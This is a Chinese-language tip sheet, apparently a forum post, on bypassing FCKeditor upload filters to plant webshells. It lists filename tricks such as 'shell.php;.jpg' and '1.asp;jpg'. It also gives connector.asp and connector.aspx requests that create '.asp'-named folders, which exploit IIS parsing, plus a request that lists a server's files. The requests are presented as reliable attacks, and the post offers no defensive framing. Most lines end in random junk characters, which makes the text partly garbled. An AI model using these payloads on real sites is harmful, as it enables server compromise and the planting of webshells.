很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg- N2 H9 Q9 J$ w+ z/ T& ?+ Y+ h: D
; H. F; Y' t. _1 ~& f4 e
提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。" T' U- z- p: I' ]$ {* B4 i
& Q- f* O% P& p
继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
' O3 X% `8 u; h* Z) f$ [* v; G: Q8 w+ l2 v$ _
突破建立文件夹:
& q: {5 e6 {8 F4 \* Z
( e: B) I& ?, B5 u5 w8 | D( ~' Feditor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp- [8 d7 a0 n2 Z0 w
% a, f" M. q: @6 B参数:2 T5 W! `) K0 c& h* q% ?
! S p5 e4 R5 f4 g+ n f: a# L
当前目录名:CurrentFolder=/qing.asp# z& n7 H- R8 t
- [8 y& B* W) i6 _新的目录名:NewFolderName=x.asp
* I# z+ X- w$ ^, b
) `2 t+ u" W7 S! d F/ V其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……
1 |3 l8 l8 L$ I, S8 V/ c9 J* q; u+ h
那么 x.asp 就已经建立生成了,此方法百试百灵!3 s# [3 g" `/ u( m6 R, w
' M( T' m% u1 v
新建文件夹参数 x.asp,基本都能搞定。
2 L" U3 y2 y5 f; P1 F4 `# X! x- s# C4 o+ k
下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
2 T$ {/ q; g( u3 G
- q& p+ \4 q) _' z6 p) _2 Qaspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp7 S" ]( w k! w' B. u, B4 d
, z0 @/ l( p& e8 }, n3 V
获取文件列表
/ X4 w* |1 r9 K; U aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F' x: G, Y' i$ w6 x0 t, [2 `
! @7 e& ]( [, k- |* W. P) g |